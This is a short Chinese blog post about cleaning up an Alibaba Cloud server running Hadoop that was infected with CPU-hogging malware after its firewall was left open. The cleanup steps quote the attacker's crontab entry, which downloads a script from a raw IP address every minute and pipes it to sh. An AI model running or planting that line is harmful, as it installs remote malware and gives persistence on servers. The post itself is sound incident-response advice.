1. 程式人生 > >學習hadoop遇到的問題(記一次阿里雲伺服器被惡意掛木馬,CPU100%)

學習hadoop遇到的問題(記一次阿里雲伺服器被惡意掛木馬,CPU100%)

在我剛開始學習時,把防火牆,安全組都開放了,過了一段時間被掛上了木馬。並且殺死程序一會還啟動

解決辦法

1通過命令netstat -antlp|grep 9002檢視埠檔案地址,刪除可以檔案(java資料夾)

2.還得在安全組中關閉hadoop一些對外開放的web頁面(可以改變埠號)

3.在/etc/crontab、/var/spool/cron/、/var/spool/cron/crontabs/下檢視可以檔案,檢視檔案裡的命令,

例如:

SHELL=/bin/bash
PATH=/sbin:/bin:/usr/sbin:/usr/bin
MAILTO=root

# For details see man 4 crontabs

# Example of job definition:
# .---------------- minute (0 - 59)
# |  .------------- hour (0 - 23)
# |  |  .---------- day of month (1 - 31)
# |  |  |  .------- month (1 - 12) OR jan,feb,mar,apr ...
# |  |  |  |  .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat
# |  |  |  |  |
# *  *  *  *  * user-name  command to be executed
* * * * * wget -q -O - http://46.249.38.186/cr.sh | sh > /dev/null 2>&1

這些就是可疑的命令,把他刪除